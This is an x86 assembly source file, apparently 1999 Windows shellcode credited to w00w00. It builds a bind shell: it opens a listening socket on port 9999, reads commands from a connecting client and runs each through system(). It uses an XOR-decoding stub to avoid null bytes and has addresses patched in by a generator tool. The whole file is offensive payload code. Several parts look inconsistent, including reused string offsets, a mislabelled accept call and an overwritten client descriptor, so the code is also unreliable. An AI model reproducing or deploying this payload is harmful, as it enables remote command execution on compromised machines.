# Windows shell (one-sided command.com) # Copyright (C) March 1999, Matt Conover & w00w00 (WSD) # # Can give input, but will not see output # This will only allow 1 connection at a time (for simplicity) # # Because Windows doesn't allow interrupts, we push arguments on the stack # and 'call' functions. The catch is that the addresses of necessary # functions will vary between programs. Therefore, we use the shellgen # to "plug" in our guessed (or acquired) addresses. # # Notes: # %edi = first of pre-defined data # %esi = address of module handle # %ecx = client (accept()) fd # %edx = server (socket()) fd jmp init # cheap hack (to get data addresses) start: popl %edi # pop saved eip into edi # --------------------------------------------------------------------- # First we must un'xor all bytes in the shellcode, except for the first # few, which was left unxor'd (this code here) so that we could decrypt # We start at our ascii strings, and move backwards until we get to # the end of this code (un-xor'd code) pushl %edi # save the old edi call blah # this will be used as an index address blah: popl %esi # on where to stop xor'ing movl %esi,%eax # save ending address for XOR subl $0x5,%eax # note: we are xor'ing end addr->start addr addl $0xXX,%edi # offset to beginning of xor'd code xorloop: decl %edi # start at top, decrease addr to bottom cmpl whatever,%edi # see if we've reached decrypted all data jle xorloop_end # if we've reached last address.. end xorb $0x1,(%edi) # otherwise, decrypt/xor the byte jmp xorloop xorloop_end: popl %edi # restore the old edi # ------------------------------------- # START OF XOR'D BLOCK # Set all 0xff's to 0x00's (null chars) # NOTE: the 0xffffffff's used for LoadLibrary() and GetProcAddress() will # be modified by shellgen, and will not exist at run-time pushl %edi # save %edi (saved eip) decl %edi # start 1 address below leal 0x56(%edi),%eax # store the final 0xff address setnull_loop: cmpl %edi,%eax # see if we're at end of 0xff'd data je setnull_end # end if so incl %edi # address pointer by 1 cmpb $0xff,(%edi) # see if it's 0xff jne setnull_loop # if not, continue addb $0x1,(%edi) # set 0xff'd byte to null jmp setnull_loop setnull_end: popl %edi # restore the old %edi (saved eip) # --------------------------------------------------------------------- # NOTE: All bytes from this point on will be XOR'd (encrypted) to prevent # nulls in the call functions (et. al.) LoadLibrary: leal 0x8(%edi),%eax # 0x8(%edi) = address of libname pushl %eax call *%edi # call LoadLibrary("wsock32.dll"); movl %eax,%esi # store retval (mod handle) in esi # ----------------- WSAStartup() # Note: in practice, this isn't needed. A program we're trying to exploit # will have already called WSAStartup() if we are communicating with it # remotely. Therefore, we'll leave the code but comment it out. # WSAStartup: # subl $0x190,%esp # allocate 400 bytes for WSADATA # movl %esp,%ebx # address of WSADATA (used as arg 2) # push %ebx # &wsaData # push $0x101 # MAKEWORD(1, 1) result = wsock v1.1 # leal 0x14(%edi),%eax # function name ("WSAStartup") # call getprocaddr # function addr returned in %eax # call *%eax # call ret. addr. (WSAStartup()'s addr) # ----------------- socket() socket: xorl %eax,%eax # clear out %eax pushl %eax # IPPROTO_IP (protocol) pushl $0x1 # SOCK_STREAM (type) pushl $0x2 # AF_INET (family) leal 0x1f(%edi),%eax # function address ("socket") call getprocaddr # function addr returned in %eax call *%eax # call ret. addr. (socket()'s addr) movl %eax,%edx # store server fd in edx # ----------------- bind() bind: pushl $0x10 # sockaddr size in bytes (16 bytes) subl $0x10,%esp # allocate mem for sockaddr movl %esp,%ebx # address of sockaddr pushl %ebx # sockaddr's address xorl %eax,%eax movb $0x10,%al # zero 0x10 (16) bytes call bzero # zero out sockaddr (ebx = ptr) # NOTE - this the structure order may vary between compilers movb $0x2,(%esp) # AF_INET (sockaddr->sin_family) movl $0xf27,0x4(%esp) # port 9999, in NBO (sockaddr->sin_port) pushl %edx # server fd leal 0x1f(%edi),%eax # function name ("bind") call getprocaddr # function addr returned in %eax call *%eax # call ret. addr. (bind()'s addr) # ----------------- listen() listen: xorl %eax,%eax # clear out %eax pushl %eax # number of backlogs pushl %edx # server fd leal 0x1f(%edi),%eax # function name ("listen") call getprocaddr # function addr returned in %eax call *%eax # call ret. addr. (listen()'s addr) while_loop1: # ----------------- accept() accept: # setup 3rd arg for accept() subl $0x4,%esp # allocate room for sockaddr len movl $0x10,(%esp) # size of sockaddr (16 bytes) movl %esp,%ebx # load %ebx with socklen's address (int *) pushl %ebx # socklen address # setup 2nd arg for accept() subl $0x10,%esp # allocate client's sockaddr (16 bytes) movl %esp,%ebx # address of sockaddr pushl %ebx # sockaddr address pushl %edx # server fd leal 0x1f(%edi),%eax # function name ("listen") call getprocaddr # function addr returned in %eax call *%eax # call ret. addr. (listen()'s addr) # ---------------------- movl %eax,%ecx # store new client fd here subl $0x100,%esp # size of buffer (256 bytes) movl %esp,%ebx # address of buffer movl %ebx,%ecx # ecx = buf ptr movl $0x100,%eax # zero 0x100 (256) bytes call bzero # zero out buf (ebx = ptr) subwhile_loop1: # ----------------- recv() recv: xorl %eax,%eax # clear out %eax pushl %eax # flags pushl $0x1 # buffer len (1 char) pushl %ecx # pointer to buf pushl %edx # client fd leal 0x1f(%edi),%eax # function name ("recv") call getprocaddr # function addr returned in %eax call *%eax # call ret. addr. (recv()'s addr) xorl %ebx,%ebx # clear out %ebx cmpl %ebx,%eax # compare recv() retval to 0 jl subwhile_end1 # if < 0, break (i.e., SOCKET_ERROR) # ---------------------- cmpb $0x1f,(%ecx) # 0x1f = last ascii code before space jle noprint # if it's < ascii code 0x1f, end buffer incl %ecx # increase bufptr by 1 byte jmp subwhile_loop1 # get next char noprint: xorl %eax,%eax # clear out %eax movl %eax,(%ecx) # null terminate buffer # fall into system() to exec buf # ----------------- system() system: leal 0x1f(%edi),%eax # function name ("system") call getprocaddr # function addr returned in %eax call *%eax # call ret. addr. (system()'s addr) # -------------------------- movl $0x100,%eax # zero 0x100 (256) bytes call bzero # zero out sockaddr (ebx = ptr) movl %ebx,%ecx # reset buf ptr to first of buf jmp subwhile_loop1 subwhile_end1: # where we break to # continue on below # ------------------------------------------------------ # closesocket() closesocket: pushl %ecx # client fd leal 0x43(%edi),%eax # function name ("closesocket") call getprocaddr # function addr returned in %eax call *%eax # call ret. addr. (closesocket()'s addr) jmp while_loop1 # ------------------------------------------------------------------- getprocaddr: pushl %eax # function name (caller set %eax) pushl %esi # push the module returned by LoadLibrary() leal 0x4(%edi),%ebx # address of GetProcAddress() call *%ebx # call GetProcAddress(mod, funcname) ret # return because this is called as a proc # ------------------------------------------------------------------- bzero: pushl %ebx # save %ebx (used as pointer) pushl %ecx # save %ecx (used to hold 0x0) loop: xorl %ecx,%ecx # clear out %ecx movb %cl,(%ebx) # set byte to null incl %ebx # increase pointer decl %eax # decrease counter cmpl %ecx,%eax # compare counter = 0 jle endloop # if <= 0, break; jmp loop # continue looping endloop: popl %ecx # restore old %ecx (used to hold 0x0) popl %ebx # restore old %ebx (used as pointer) ret # ---------------------------- # END OF XOR'D BLOCK init: call start # used to set eip as an index # ------------------------------------------------------------------- # These 2 will be modified by shellgen.. don't touch! .byte 0xff,0xff,0xff,0xff # LoadLibrary(), (%edi) .byte 0xff,0xff,0xff,0xff # GetProcAddress(), 0x4(%edi) # I use 0xff to indicate "end of string" (we can't use nulls) .ascii "wsock32.dll" # 11 bytes, 0x8(%edi) .byte 0xff # 1 byte # ------------------------------------------------------------------- # WSAStartup() will usually not be used, but we're leaving it anyway. .ascii "WSAStartup" # 10 bytes, 0x14(%edi) .byte 0xff # 1 byte .ascii "socket" # 6 bytes, 0x1f(%edi) .byte 0xff # 1 byte .ascii "bind" # 4 bytes, 0x26(%edi) .byte 0xff # 1 byte .ascii "listen" # 6 bytes, 0x2b(%edi) .byte 0xff # 1 byte .ascii "accept" # 6 bytes, 0x32(%edi) .byte 0xff # 1 byte .ascii "recv" # 4 bytes, 0x39(%edi) .byte 0xff # 1 byte .ascii "send" # 4 bytes, 0x3e(%edi) .byte 0xff # 1 byte .ascii "system" # 6 bytes, 0x43(%edi) .byte 0xff # 1 byte .ascii "closesocket" # 11 bytes, 0x4a(%edi) .byte 0xff # 1 byte